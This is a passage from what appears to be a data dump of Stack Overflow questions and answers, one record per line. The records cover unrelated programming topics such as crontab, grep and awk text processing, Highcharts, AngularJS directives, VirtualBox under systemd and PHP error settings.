range.startContainer.offsetLeft+'px'; } }else{ pos.left = rect.left + rect.width + offsetx - nodeLeft + 'px'; pos.top = rect.top + offsety - nodeTop + 'px'; } } return pos; }; </code></pre>
7255458	0	How can i control output from crontab? <p>I am trying to run a test case via automation testing (sahi) , so I am running the command for it repeatedly after 1 hour (via crontab).<br> What I want is that is there any solution that <strong>whenever my test case fails i should receive the email otherwise not..</strong> Right now I am reciving mail whether it passes or fails.<br> In short, can i send mail to a person depending upon the output i get in terminal.<br> I want to send mail when output will be:<br> 1 scenario (1 failed) 4 steps (3 skipped, 1 failed) 0m2.476s </p> <p>Thanks.</p>
21486879	0	Anything Else Like An Iframe? I want to do Whatever we can do with Iframe <p>Really, i like to use iframe. because iframe will reduce the transferring data between server &amp; client. We can display the static contents in out of iframe &amp; dynamic content in iframe. But many developers are saying "iframe isn't good". I don't know whether it's correct or not. If anybody know about iframe please don't forget to answer. and i need to know any other ideas such as iframe. </p>
17747238	0	 <p>The classpath of javac should refer to directories and jar files containing the root of compiled class files trees. It should not refer to Java files.</p> <p>Similarly, the source directory should refer to the root of the package tree of the source files. Not to directories corresponding to packages, inside the package tree.</p> <p>Your compile task should look like</p> <pre><code>&lt;target name="main-compile"&gt; &lt;javac includeantruntime="false" srcdir="src/main/java" destdir="${gen.bin.main.dir}" debug="on" includes="com/myapp/api/**/*.java, com/myapp/impl/core/FizzImpl/**/*.java"&gt; &lt;classpath refid="lib.main.path"/&gt; &lt;/javac&gt; &lt;/target&gt; </code></pre>
40856821	0	Quanteda - Apply Function to DFM Over Document Variables <p>I am using R's quanteda package and the latest versions for both R and the package. I have a corpus of documents which number in the millions.</p> <p>Let's suppose I have a DFM generated from quanteda with each document having a docvar of the date. There are thousands of documents generated in a given day, but I want to obtain the DFMs applied to the documents by day (so that I have total word counts for each term by day). I know that quanteda is built using data.table, so it should be possible to do this, but I have found little in the "Getting Started with Quanteda" or on StackOverflow that gives a clean way of doing this.</p> <p>Any suggestions?</p>
27016070	0	 <p>Try this:</p> <pre><code>foreach (string file in Directory.EnumerateFiles(folderPath, "*CustsExport*.xml")) { } </code></pre> <p>Or your can use regex:</p> <pre><code>Regex reg = new Regex(@".*CustsExport.*\.xml",RegexOptions.IgnoreCase); var files = Directory.GetFiles(yourPath, "*.xml") .Where(path =&gt; reg.IsMatch(path)) .ToList(); </code></pre>
32708767	0	 <p>I experienced this problem and the fix, for me at least, was to set the HOME variable in the crontab to the path of the home directory of the user that the cronjob was being run as. It was previously being set to '/'. </p>
1350931	0	 <p>In case you're using log4j breed of logging APIs you might be interested in looking at MDC - <a href="http://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/MDC.html" rel="nofollow noreferrer">mapped diagnostic context</a>. It was designed particularly for this type of problems. Check out <a href="http://www.moonlit-software.com" rel="nofollow noreferrer">logFaces</a> - it will let you <a href="http://www.moonlit-software.com/logfaces/web/features/index.php#mdc" rel="nofollow noreferrer">easily fish out</a> particular context data in real time or by doing queries. Otherwise, the ThreadLocal mentioned by Aaron seems reasonable too, it's just that you will have to do the coding yourself instead of using proved concept of MDC used in log4j for a long time and by many users.</p> <p><strong>Disclosure</strong>: I am the author of this product.</p>
29391399	0	 <p>I finally got a solution for the problem. The code that works for me is the following:</p> <pre><code>override func viewDidLoad() { super.viewDidLoad() // Do any additional setup after loading the view, typically from a nib. view.backgroundColor = UIColor.cyanColor() playButton.layer.backgroundColor = UIColor.whiteColor().CGColor playButton.layer.cornerRadius = 5 let initSignalExample = [0.0, 1.0, 2.0, 1.0, 0.0] lineChartSubView.frame = CGRectMake(0, 0, screenWidth, screenHeight) lineChartSubView.backgroundColor = UIColor.whiteColor() lineChartSubView.setXLabels(["0","1","2","3","4"], withWidth: 1) lineChartSubView.showCoordinateAxis = true lineChartSubView.showLabel = true lineChartSubView.delegate = self var signalObtainedValues = PNLineChartData() signalObtainedValues.color = UIColor.greenColor() signalObtainedValues.itemCount = UInt(initSignalExample.count) signalObtainedValues.getData = ({(index: UInt) -&gt; PNLineChartDataItem in var yValue:CGFloat = CGFloat(initSignalExample[Int(index)]) var item = PNLineChartDataItem(y: yValue) return item }) lineChartSubView.chartData = [signalObtainedValues] lineChartSubView.strokeChart() } </code></pre> <p>Now the problem is that the graph does not fit in the subview, but maybe I will open another question since the original post is solved. Thank you very much!</p>
33811276	0	 <p>You can simply configure profile recognition in Print&amp;Share. This video example uses a profile with a Printer Channel and one with a File Printer Channel: <a href="https://www.youtube.com/watch?v=nvTly9qXQMI&amp;list=PLDF2C2AD95B2B2FC2&amp;index=38" rel="nofollow">https://www.youtube.com/watch?v=nvTly9qXQMI&amp;list=PLDF2C2AD95B2B2FC2&amp;index=38</a> </p> <p>You can easily create a profile with only Printer Channels, as you wish. This way you only have to print and the software will select the correct profile or A or B automatically (if you enable "Auto Send &amp; Close" it will also print automatically without showing the user interface).</p>
23231159	0	 <p>The second option allows you to do more complex formatting. With a <code>string</code>, there is little advantage, but if you were using a <code>double</code> value, for example, you could use the <a href="http://msdn.microsoft.com/en-us/library/txafckwd%28v=vs.110%29.aspx" rel="nofollow">composite format options</a> to specify the amount of precision to display or other options.</p>
40183321	0	 <p>To reorder the items, a basic way could be as follows:</p> <pre><code>split_line = line.split(" ") column_mapping = [9,6,3,7,3,2,1] reordered = [split_line[c] for c in column_mapping] joined = ",".join(reordered) outfile.write(joined) </code></pre> <p>This splits up the string, reorders it according to <code>column_mapping</code> and then combines it back into one string (comma separated)</p> <p>(in your code don't include <code>column_mapping</code> in the loop to avoid reinitialising it)</p>
10285635	0	 <p>Comparing user-visible strings is generally considered bad practice (and becomes tedious when you need to do i18n), especially with string literals since it's vulnerable to typos.</p> <p>If you're just going to <em>toggle</em> between two states, the easiest thing to do is to use the <code>UIControl.selected</code> property (corresponding to <code>UIControlStateSelected</code>):</p> <pre><code>// In init [myButton setTitle:@"test" forState:UIControlStateNormal]; [myButton setTitle:@"test2" forState:UIControlStateSelected]; [myButton setTitle:@"test2" forState:UIControlStateSelected|UIControlStateHighlighted]; // Toggle myButton.selected = !myButton.selected; </code></pre> <p>It also makes the code a lot cleaner when you when you decide to toggle the button image/background/text colours too.</p> <p>Note the slight gotcha: If you don't set the title for <code>UIControlStateSelected|UIControlStateHighlighted</code> it will use the title for <code>UIControlStateNormal</code> when the button is both selected and highlighted (touched).</p>
3480842	0	 <p>I've set up EGit in Eclipse for a few of my projects and find that its a lot easier, faster to use a command line interface versus having to drill down menus and click around windows.</p> <p>I would prefer something like a command line view within Eclipse to do all the Git duties.</p>
8268505	0	Xcode: Error -> Build failed -> Please upgrade your Subversion client to use this working copy <p>I am using Xcode 4.2.1. and I have this problem running an existing application on the iOS simulator:</p> <pre><code>svn: The path '.' appears to be part of a Subversion 1.7 or greater working copy. Please upgrade your Subversion client to use this working copy. /Users/me/Library/Developer/Xcode/DerivedData/myproject-dxfzldckuqdmlrghowwkdrbgoigy/Build /Intermediates/myproject.build/Debug-iphonesimulator/MyProject.build/Script-9567AEA113C59633000AA291.sh: No Subversion revision found at /Users/me/Library/Developer/Xcode/DerivedData/myproject-dxfzldckuqdmlrghowwkdrbgoigy/Build/Intermediates/myproject.build/Debug-iphonesimulator/MyProject.build/Script-9567AEA113C59633000AA291.sh line 32. Building revision Command /bin/sh failed with exit code 1 </code></pre> <p>I have a Subversion server 1.7.1 installed and also on the client side I upgraded to 1.7.1. I did a <code>svn upgrade</code> and then I get this error in Xcode.</p> <p>If I repeat the <code>svn upgrade</code> on the terminal I get the message <code>Can't upgrade '...' as it is not a pre-1.7 working copy directory</code>.</p> <p>So what is wrong? How an I solve the problem?</p> <p>Best Regards Tim</p>
18743618	0	Error multiple highcharts while loading in carousel <p>I'm loading multiple charts in a bootstrap carousel, but I get always the following highcharts error:</p> <blockquote> <p>Highcharts Error #16</p> <p>Highcharts already defined in the page</p> <p>This error happens the second time Highcharts or Highstock is loaded in the same page, so the Highcharts namespace is already defined. Keep in mind that the Highcharts.Chart constructor and all features of Highcharts are included in Highstock, so if you are running Chart and StockChart in combination, you only need to load the highstock.js file.</p> </blockquote> <p>This is what I do in my html:</p> <pre><code>&lt;div id="myCarousel" class="carousel slide"&gt; &lt;div class="carousel-inner"&gt; &lt;?php for ($i = 1; $i &lt;= $numquestions; $i++) { ?&gt; &lt;div class="item"&gt; &lt;h2&gt;&lt;?php echo "de titel van de question"; ?&gt;&lt;/h2&gt; &lt;div id=&lt;?php echo "container" . $i; ?&gt;&gt;&lt;/div&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;/div&gt; &lt;!-- Controls (CHECK ICONS) --&gt; &lt;a class="left carousel-control" href="#myCarousel" data-slide="prev"&gt;&amp;laquo;&lt;/a&gt; &lt;a class="right carousel-control" href="#myCarousel" data-slide="next"&gt;&amp;raquo;&lt;/a&gt; &lt;/div&gt; </code></pre> <p>I create the number of items in my carousel.</p> <p>My javascript:</p> <pre><code>&lt;script type="text/javascript"&gt; var categories = new Array(); var data = new Array(); var chart; var questionsandanswers = &lt;?php echo json_encode($questionandanswers); ?&gt;; for (var i = 0; i &lt; questionsandanswers.length; i++) { questiontitle = ""; answers = ""; // Loop through questions var questiontitle = questionsandanswers[i].Text; var answers = questionsandanswers[i]['0']; createChart(i, questiontitle, answers); } // Create the Charts function createChart(i, questiontitle, answers){ chart=""; i++; // CHART OPTIONS var options = { chart: { type: 'bar', renderTo: 'container' + i }, xAxis: { categories: '', title: { text: null } }, yAxis: { min: 0, title: { text: 'Aantal keer gekozen', align: 'high' }, labels: { overflow: 'justify' } }, tooltip: { //valueSuffix: ' aantal keer gekozen' }, plotOptions: { bar: { dataLabels: { enabled: true, color: 'black', formatter: function() { if (this.y === 0) { return null; } else { return this.y; } } }, stacking: 'normal' } }, legend: { layout: 'vertical', align: 'right', verticalAlign: 'top', x: -40, y: 100, floating: true, borderWidth: 1, backgroundColor: '#FFFFFF', shadow: true }, credits: { enabled: false }, series: [] } chart = new Highcharts.Chart(options); // Create new chart with general options for (var i = 0; i &lt; answers.length; i++) { // add answers to categories array categories.push(answers[i].Text); data.push(answers[i]['0']); } // add categories to x-axis chart.xAxis[0].setCategories(categories); chart.addSeries({data:data,name:'Aantal keer gekozen'},false); chart.setTitle({ text: questiontitle }); // redraw chart chart.redraw(); categories = Array(); data = Array(); } &lt;/script&gt; </code></pre> <p>As you can see I add the charts to the different containers but I still get an error. I know I add multiple highcharts in the same page but I need to ... . How can I fix this that I don't get that error?</p>
31532924	0	Use link function in directives to append different HTML elements <p><a href="https://jsfiddle.net/o76hxj69/1/" rel="nofollow"><strong>Fiddle</strong></a></p> <p>I have two buttons. When pressed it displays a modal, with som text. But I also want to add some html dynamically depending on which button is pressed.</p> <p>I have tried both <code>$observe</code> and <code>$watch</code> methods, but I'm having problems making it work. </p> <p>here is my code.</p> <pre><code>angular.module('TM', []) .controller('protocolCtrl', function(){ this.text = 'Now looking at the protocol part'; this.modalId = 'protocolModal'; }) .controller('categoryCtrl', function(){ this.text = 'Now looking at the category part'; this.modalId = "categoryModal"; }) .directive('modalDirective', function(){ return { restrict: 'E', scope: { ctrl: '=', modalId: '@', }, template: ['&lt;div id="{{modalId}}" class="modal fade" role="dialog"&gt;', '&lt;div class="modal-dialog"&gt;', '&lt;div class="modal-content"&gt;', '&lt;div class="modal-header"&gt;', '&lt;h4 class="modal-title"&gt;Modal Header&lt;/h4&gt;', '&lt;/div&gt;', '&lt;div class="modal-body"&gt;', '&lt;p&gt; {{ ctrl.text }} &lt;/p&gt;', '&lt;/div&gt;', '&lt;div class="modal-footer"&gt;', '&lt;button type="button" class="btn btn-default" data-dismiss="modal"&gt;Close&lt;/button&gt;', '&lt;/div&gt;', '&lt;/div&gt;', '&lt;/div&gt;', '&lt;/div&gt;'].join(''), link: function(scope, element, attrs) { element.$observe('modalId', function(){ var modal = element.find('#{{modalId}}'); if(modal == 'protocolModal'){ element.find('#{{modalId}}').append('&lt;div&gt;this is a protocol test...&lt;/div&gt;'); } else { element.find('#{{modalId}}').append('&lt;div&gt;this is a category test...&lt;/div&gt;'); } }); } } }); </code></pre>
38885225	0	 <p><code>grep</code> does not recognize <code>\d</code>. Try:</p> <pre><code>$ grep -E 'Info:.*took\s*[0-9.]*\s*[mhd]' logfile Info: Executed check 'bla', result 'pass', took 2.5 minutes. Info: Executed check 'foo', result 'pass', took 3.4 hours. Info: Executed check 'bar', result 'pass', took 2.7 days. </code></pre> <p>Or, better yet:</p> <pre><code>$ grep -E 'Info:.*took\s*[[:digit:].]*\s*[mhd]' logfile Info: Executed check 'bla', result 'pass', took 2.5 minutes. Info: Executed check 'foo', result 'pass', took 3.4 hours. Info: Executed check 'bar', result 'pass', took 2.7 days. </code></pre> <p>Notes:</p> <ol> <li><p><code>egrep</code> is deprecated. Use <code>grep -E</code> instead.</p></li> <li><p><code>grep</code> is supposed to support POSIX regular expressions. <code>\s</code> is a GNU extension and may not be portable. <code>\d</code> is not supported.</p></li> <li><p><code>[:digit:]</code> is unicode-safe which makes it a better choice than <code>0-9</code>.</p></li> <li><p>To match floating point numbers, one must allow a decimal point in addition to digits. Note that, outside of <code>[...]</code>, the period <code>.</code> is a wildcard. Inside <code>[...]</code>, by contrast, it only matches a period.</p></li> </ol> <h3>More portable version</h3> <p>For greps that do not support <code>\s</code>, try:</p> <pre><code>$ grep -E 'Info:.*took[[:space:]]*[[:digit:].]*[[:space:]]*[mhd]' logfile Info: Executed check 'bla', result 'pass', took 2.5 minutes. Info: Executed check 'foo', result 'pass', took 3.4 hours. Info: Executed check 'bar', result 'pass', took 2.7 days. </code></pre>
13547057	0	 <p>This is not a trivial problem at all.</p> <p>One method you might find useful is pre-processing the data so that it can be represented in the form of a directed graph. You then assign appropriate costs to each leg depending on the desirability of taking that path from the point of view of the user (eg. how much does it cost to travel on the path in terms of dollars, time, distance, etc.) Having done this, you can apply algorithms such as Dijkstra's Algorithm to determine the best path for the user to take.</p>
20874391	1	Django / Python: Real time peer to peer chat messaging <p>I use Django and Gunicorn to power my front end iOS applications. Up until now, I've been using simple GET, PUT, POST requests to send and receive json data from my iOS application to my Django server and vice versa. </p> <p>This setup has been solid however, I would like to implement real time messaging. When I first started out, I used APNS (Apple's Push Notifications Service) to deliver messages real time to recipients. Here is an example of what I used to do:</p> <p>If UserA messaged UserB, I would send the message to the Django Server via JSON, process it in a Django view, use <a href="https://github.com/samuraisam/pyapns">pyAPNS</a> - a python wrapper for APNS and it would send a push notification to UserB (the recipient) along with a payload size of 256 bytes. This worked well however it also has a few cons. </p> <p>If the recipient chooses to disable push notifications, then they will not receive the message. When you implement core data in your iOS app, this can be quite messy if you cache objects.</p> <p>So this leaves me with another option. Building something that is socket based that can work with Django and send the payload as JSON. Any ideas?</p>
12142356	0	Send a Complex Object as a Parameter to Post Action in ASP.NET MVC3 <p>I try to send a parameter with <code>submit</code> button to post action so there is my sample:</p> <pre><code>@using(Html.BeginForm(actionName: "Search", controllerName: "MyController", routeValues: new { rv = "102" })) { ... &lt;input type="submit" value="Search" /&gt; } </code></pre> <p>And this is My Search Action:</p> <pre><code>[HttpPost] public virtual ActionResult Search(string rv, FormCollection collection) { ... } </code></pre> <p>So Every thing is fine until now, </p> <p>Then I try to Send a complex object like a <code>Dictionary&lt;string, string&gt;</code></p> <p>So you can just replace <code>string</code> type of <code>rv</code> parameter with <code>Dictionary&lt;string, string&gt;</code> and send a dictionary, but in this case the <code>rv</code> value always returned a dictionary with 0 count? where is the problem? How can I send a dictionary to post action? </p> <p><strong>Update</strong></p> <p>I Also try this one but not worked yet (Mean rv steel is a dictionary with 0 count):</p> <pre><code>@using(Html.BeginForm(actionName: "Search", controllerName: "MyController", routeValues: new { rv = Model.MyDictionary }, method: FormMethod.Post, htmlAttributes: new { @class = "FilterForm" })) { ... } [HttpPost] public virtual ActionResult Search(Dictionary&lt;string, string&gt; rv, FormCollection collection) { ... } </code></pre>
14171481	0	Virtualbox Headless: not starting via systemd <p>Already tried <a href="https://bbs.archlinux.org/viewtopic.php?id=147591" rel="nofollow">this Topic</a> but doesn't solved it</p> <p>I have placed a file called vbox.service under /lib/systemd/system/vbox.service with the following content:</p> <pre><code>[Unit] Description=Virtualbox Headless VM [Service] ExecStart=/usr/bin/VBoxHeadless --startvm 4decf7c1-7eda-461c-92aa-835d2405a22e ExecStop=/usr/bin/VBoxManage controlvm 4decf7c1-7eda-461c-92aa-835d2405a22e poweroff User=my_user [Install] WantedBy=muti-user.target </code></pre> <p>If I start and stop it via <code>sudo systemctl start vbox</code> and <code>sudo systemctl stop vbox</code>, everything works fine Then i entered the following: <code>sudo systemctl enable vbox</code>, but it wont start at boot Here is the output</p> <pre><code>sudo systemctl status vbox vbox.service - Virtualbox Headless VM Loaded: loaded (/usr/lib/systemd/system/vbox.service; enabled) Active: inactive (dead) CGroup: name=systemd:/system/vbox.service Jan 05 02:38:59 exia pulseaudio[1428]: [pulseaudio] main.c: Daemon startup failed. Jan 05 02:40:08 exia systemd[1]: Started Virtualbox Headless VM. Jan 05 02:42:02 exia systemd[1]: Stopping Virtualbox Headless VM... Jan 05 02:42:02 exia VBoxManage[1546]: 0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100% Jan 05 02:42:02 exia VBoxHeadless[1375]: Oracle VM VirtualBox Headless Interface 4.2.6_OSE Jan 05 02:42:02 exia VBoxHeadless[1375]: (C) 2008-2012 Oracle Corporation Jan 05 02:42:02 exia VBoxHeadless[1375]: All rights reserved. Jan 05 02:42:02 exia VBoxHeadless[1375]: VRDE server is listening on port 3389. Jan 05 02:42:02 exia VBoxHeadless[1375]: VRDE server is inactive. Jan 05 02:42:02 exia systemd[1]: Stopped Virtualbox Headless VM. </code></pre> <p>/usr/bin/VBoxHeadless --startvm 4decf7c1-7eda-461c-92aa-835d2405a22e works fine Any ideas, though?</p>
15473697	0	 <p>To update only <strong>coffee-script</strong>: </p> <blockquote> <p>sudo npm update coffee-script -g</p> </blockquote>
36315549	0	 <p>I've had good luck with generic container functions:</p> <pre><code>template &lt;class Map&gt; void PrintMapToStream(std::ostream &amp;stream, const Map &amp;map) { for (auto &amp;elem : map) stream &lt;&lt; elem.second &lt;&lt; ' '; stream &lt;&lt; std::endl; } </code></pre> <p>Of course, this will fail with confusing error messages if you call it on something that doesn't allow you to iterate over pairs.</p>
30244036	0	How pass list<object> into webgrid <p>I'm trying to put into webgrid collection</p> <pre><code>public class MyClass() { List&lt;Row&gt; rows {get; set;} } public class Row() { public string code {get; set;} } grid.Column("Amount", format: @&lt;text&gt; @Html.TextBoxFor(model =&gt; model.rows.FirstOrDefault().code, new { @class = "edit-mode", size = 5 }) &lt;/text&gt;), </code></pre> <p>Using <code>model.rows.FirstOrDefault().code</code> it works but returns first element of collection in each row. </p> <p><code>model.rows.GetEnumerator().Current.code</code> returns nothing</p> <p>How to get right desision to get each element of collection in own row</p>
4531853	0	 <p>It sounds like your problem is more related to developing on Windows than the Android SDK itself. I got it up and running pretty quickly on my 64 bit Win7 box, but I really prefer to develop in Linux. Once I sorted some silly issues with eclipse dependencies out, it was incredibly simple to run and keep updated.</p> <p>I suspect most hardcore android devs (and the people who build the tools at Google) run Linux of some flavor on their boxes - so it isn't surprising that the tools work well there.</p> <p>Eclipse isn't really the alpha version of websphere - it's a perfectly usable and stable tool in it's own right. Fedora isn't the alpha for RHEL either - it's just more bleeding edge. You can run a perfectly stable Fedora system, but most companies go with RHEL because of the support options.</p> <p>The Android plugins and SDKs are certainly under active development, which is a good thing. That doesn't necessarily make them Beta quality.</p> <p>Eclipse is used incredibly widely. It's adequately tested. The Android SDKs work just fine for a majority of users. I'm sorry you had problems with them, but as you admitted, you're running an unusual configuration. </p> <p>Windows is designed to run with every user as an administrator - Development tools usually assume this, with hardware development tools doubly so. It's a reasonable assumption. Even under Linux, Android development really works better with root access. You're trying to do things with the underlying hardware that normal users shouldn't be able to do.</p>
16660614	0	Change php error reporting to hide warnings for specific site only <p>Imagine a couple of <code>sites-enabled</code> available from <code>/etc/apache2/sites-available</code>. (Only Debian-based distros work like this.)</p> <p>Is it possible to mute <code>warning</code> messages from php scripts from <em>a specific site</em>, without touching the actual <code>htdocs</code>?</p> <p>Normally there are a couple of solutions to achieve someting related:</p> <ol> <li>Add an <code>error_reporting()</code> directive e.g. <code>error_reporting(E_ERROR);</code> to the scripts executed.</li> <li>Set php_flags in <code>.htaccess</code> files like so: <code>php_flag display_errors off</code></li> <li>Use <code>ini_set</code> inside scripts:<br> <code>ini_set('display_errors', 'Off');</code><br> <code>ini_set('display_startup_errors', 'Off');</code><br> <code>error_reporting(0);</code></li> <li>Prepend <code>@</code> to functions that throw warnings or errors.</li> <li>Change <code>php.ini</code> to actually say<br> <code>error_reporting = E_ALL ^ E_WARNING</code><br> <code>display_errors = 1</code> </li> </ol> <p>However, these all mean touching the htdocs or having the change applied globally. Imagine the <code>htdocs</code> are mounted read-only. How would I suppress warnings (or notices) for certain sites only?</p> <p>I am assuming Debian/Ubuntu has <code>a2ensite</code> specific configurations for a reason and I am hoping I can alter those. There is a <code>log_level</code> directive in the example 'site available' configuration, but this handles the amount of messages logged. Not the messages output by the php scripts.</p> <p>Manually adding sections in <code>php.ini</code> or <code>apache2.conf</code> or <code>httpd.conf</code> will also work. If it is possible.</p> <p>See also:</p> <ul> <li><a href="http://www.php.net/manual/en/function.error-reporting.php" rel="nofollow">http://www.php.net/manual/en/function.error-reporting.php</a></li> </ul>
14936999	0	 <p>Comma separates multiple selectors, so you were searching for inputs named "weekday" <em>and</em> elements of any type with value = 1.</p> <p>To combine both criteria in one selector, just add them after one another:</p> <pre><code>$('input[name=weekday][value=1]').attr("checked", "checked"); </code></pre>
16051158	0	How does CRM 2011 load and manage plugins in sandbox mode? <p>I have 2 plugin assemblies which are sharing the proxy code generated by crmsvcutil. The proxy code file tends to be large(14+ MB) and it seems to bloat up the Plugin Dlls.</p> <p>I am thinking that it might make sense to offset the proxy code into a separate assembly and deploy it to the GAC on the CRM server.This would reduce the bloat in the plugin assemblies and also reduce the memory footprint since only a single copy of the proxy code would be loaded into the process space.</p> <p>The question is, how does CRM load individual plugin assemblies? Are they all loaded into the same process space or are they loaded into separate app domains?</p> <p>If they are loaded into separate app domains then it defeats the purpose of having a separate assembly containing the generated proxy code since it will be loaded separately into both app domains anyways.</p> <p>Any thoughts appreciated</p>
1896709	0	 <p>If you really mean ASCII, you can't possibly rescue Hebrew characters. ASCII is only the 7-bit character set up to <code>\x7F</code>.</p> <p>So what kind of strings does this Windows program read? If it's ASCII, or Latin-1, you'll never get Hebrew. More likely it's “the current system code page”, also (misleadingly but commonly) known in Windows as ‘ANSI’.</p> <p>If that's the case you will have to set the system code page on every machine that runs the Windows program to Hebrew (code page 1255). I believe shp files have no character encoding information at all, so the shapefiles will only ever work correctly on machines with this code page set (the default only in the Israel locale). (Apparently <code>.dbf</code> exports can have an accompanying <code>.cpg</code> file to specify the encoding, but I've no idea if the program you're using supports that.)</p> <p>Then you'd have to export the data as code page 1255, or the nearest you're going to get in Postgres, ISO-8859-8. Since the export script doesn't seem to have any option to do anything but take direct bytes from the database, you'd have to create a database in the ISO-8859-8 encoding and transfer all the data from the UTF-8 database to the 8859-8 one, either directly through queries or, perhaps easier, using <code>pgdumpall</code> and loading the SQL into Notepad then re-saving it as Hebrew instead of UTF-8 (adjusting any encoding settings listed in SQL DDL as you go).</p> <p>I wonder if the makers of the Windows program could be persuaded to support UTF-8? It's a bit sad to be stuck with code-page specific software in this century.</p>
18759997	0	How does iOS handle local Notification in background mode? <p><code>didReceiveLocalNotification</code> is called when a notification is fired in active mode but how does iOS handles notification in background mode (not active mode, application is terminated may be) before app is active by swiping or clicking the notification.</p> <p>Or</p> <p>Mainly I want to know how to conditionally handle local notification to be on/off (off means not to cancel previous notification but just don't fire it) in background Mode?</p> <p>I am currently checking this condition in <code>didReceiveLocalNotification</code> but that way I am not able to handle it in background mode?</p>
15152564	0	Changing textField border color iOS <p>I want to change <strong>UITextField border</strong> color. Is it possible to customize the color of border? I searched all options in <code>xib</code> but I did not found any option to change <code>border color</code>.</p>
18374951	0	 <p>There is a nice MX bean for this:</p> <pre><code>OperatingSystemMXBean.getSystemLoadAverage() </code></pre> <p>that gets the overall load average. You can then divide this by the number of CPUs for the average per-CPU load.</p>
29668115	0	 <p>I think the problem is float precision.</p> <p>Basically you use a very big float (4 billion) in a division and expect a very small one (0-1) as a result. But the big float is so imprecise compared to the range (0-1) that the result you get is just noise. </p> <p>What you need to do is get those two ranges closer. You can either use a 16 bits int texture instead or you can divide the texture sample with an integer division before converting it to float (and then divide by a smaller float). </p>
22396406	0	Cordova Android 4.3 Ajax Status 404 <p>I am writing an Android app using <code>Cordova 3.4.0</code>.</p> <p>In the app I make the following ajax request using jquery...</p> <pre><code>$.ajax ({ url: 'http://www.[mydomain].com/api/v1', type: 'GET', username: id, password: pwd, xhrFields: { withCredentials: true }, }) .done (function (response) { doSomethng(); }) .fail (function (response) { console.log(response); }); </code></pre> <p>On <code>Android 4.4.x</code> the request works as expected, however on <code>Android 4.3</code> (both emulator and device) it fails and the following is logged to the console...</p> <pre><code>readystate: 4 status: 404 statusText: "error" </code></pre> <p>I have <code>&lt;access origin="*" /&gt;</code> in the <code>config.xml</code> and </p> <p><code>&lt;uses-permission android:name="android.permission.INTERNET" /&gt;</code> </p> <p>in the AndroidManifest.xml. I can also confirm that the request is not making it to my web service and nothing is logged on that end.</p> <p>I am at a loss as to what might be blocking the request. I know that the WebView component is different in <code>4.4.x</code> than in previous versions but I am not sure if that has anything to do with it. Any help would be appreciated. </p>
39956077	0	reading in csv file and storing in arrays <p>the practice question i got says that i need to</p> <p>create a java code that reads in csv file with name and height. </p> <p>to read a file you must get a file name from user as string. </p> <p>then you must store contents of file into two arrays one for name (string) and height(real number).</p> <p>You should read the file at least twice, once to check how many students are in the file (so you know how many students you need to store) and a couple more times to actually read the file (to get the names and height).</p> <p>then prompt the user for name you want height of. it should output the height for userinput.</p> <p>example csv file is </p> <p>chris,180</p> <p>jess,161</p> <p>james, 174</p> <p>its not much but this is all i could come up with i have no idea how to store name and height separately and use that array to output the results. and would i need to use split somewhere in the code? i remember learning it but dont know if its used in this situation</p> <pre><code>import.java.util.*; private class StudentNameHeight private void main (string [] args) { String filename; Scanner sc = new scanner(system.in); System.out.println("enter file name") filename = sc.nextline(); readFile (filename); } private void readFile (String filename) { FileInputStream fileStrm = null; InputStreamReader rdr; BufferedReader bufRdr; try { fileStrm = new FileInputStream(filename); rdr = new InputStreamReader(fileStrm); bufRdr = new BufferedReader(rdr); // ? catch (IOException e) { if (fileStrm != null) { try {fileStrm.close(); } catch (IOException e2){} } System.out.println("error in processing" + e.getMessage()); } } </code></pre> <p>im new to java so, any small tip or help would be great </p> <p>thanks</p>
32378194	0	 <blockquote> <p>the error messages are "expected illegal start of type" on writeUTF method.</p> </blockquote> <p>The problem is that you have put statements into a class body.</p> <p>The those statements need to go into a method. Your text book or tutorial should explain this.</p>
21977444	0	Asp.Net MVC validation messages overriding client side validations <p>In my Asp.Net Mvc application I have a scenario where I have to </p> <ol> <li>Check if control value is not null</li> <li>value entered in control is not "Search"</li> </ol> <p>How can I achieve this with validation attributes?</p> <p>I tried [Required] attribute on top of modal property and wrote a client side validation for "search". But error message shown by [required] attribute is overriding client side validation. any help? </p>
11914693	0	 <p>How about adding a query string parameter <code>hl=en</code>? Google supports it on some of its websites, chances are that Google Play website supports it too.</p> <p>If I call Google Play website with:</p> <p><a href="https://play.google.com/store?hl=en">https://play.google.com/store?hl=en</a></p> <p>I got english locales. If I call it with</p> <p><a href="https://play.google.com/store?hl=de">https://play.google.com/store?hl=de</a></p> <p>I got German locales etc.</p>
28939109	0	How to compare the Data in CSV file with Data in the Oracle table? <p>Here we are having one table in Oracle and i have copies that table data into CSV file. Now we have to compare whether data is correct or not.</p>
26643484	0	 <p>So thanks to Guffa I realized that even though I had broken the push statement into different lines, it was treated as one. I had thought the problem was with my .push implementation, but rather it was a problem with one of the variables being pushed. </p> <p>It turns out I had missed a return on </p> <pre><code>var callExtData = checkCallExtensions(campaign); </code></pre> <p>and so callExtData was empty, hence undefined. </p> <p>Thanks!</p>
18091654	0	 <p>This is a specific case of the general CSV parsing problem. The general solution is provided by Lorance Stinson (google <code>Stinson awk CSV parser</code>) but IMHO the simplest way to deal with this specific issue is to convert newlines within double quotes to some other character, do whatever you want with the file in single-line-per-record format, then convert back, e.g.:</p> <pre><code>$ cat file "Test_data1" "Test_data2" "1s" "452" "Test data643" " " "4d" "System" "Institute" "Test_data3" "Test_data4" "2s" "563" "Test data754" " " "5d" "Non System" "Association" </code></pre> <p>To convert to single line:</p> <pre><code>$ awk -v FS= '{for (i=1;i&lt;=NF;i++) if ($i=="\"") inQ=!inQ; ORS=(inQ?"♥":"\n") }1' file "Test_data1" "Test_data2" "1s" "452" "Test♥data643" "♥" "4d" "System" "Institute" "Test_data3" "Test_data4" "2s" "563" "Test♥data754" "♥" "5d" "Non System" "Association" </code></pre> <p>and to convert back is a simple <code>tr</code>:</p> <pre><code>$ awk -v FS= '{for (i=1;i&lt;=NF;i++) if ($i=="\"") inQ=!inQ; ORS=(inQ?"♥":"\n") }1' file | tr '♥' ' \n' "Test_data1" "Test_data2" "1s" "452" "Test data643" " " "4d" "System" "Institute" "Test_data3" "Test_data4" "2s" "563" "Test data754" " " "5d" "Non System" "Association" </code></pre> <p>The above uses control-C as a replacement for the newline within quotes, pick whatever character you like (or string if you want to use awk or sed rather than tr to convert back to newlines).</p> <p>Just insert the command to do whatever you want with your original file in between the awk and the tr, e.g. sort in reverse:</p> <pre><code>$ awk -v FS= '{for (i=1;i&lt;=NF;i++) if ($i=="\"") inQ=!inQ; ORS=(inQ?"♥":"\n") }1' file | sort -r | tr 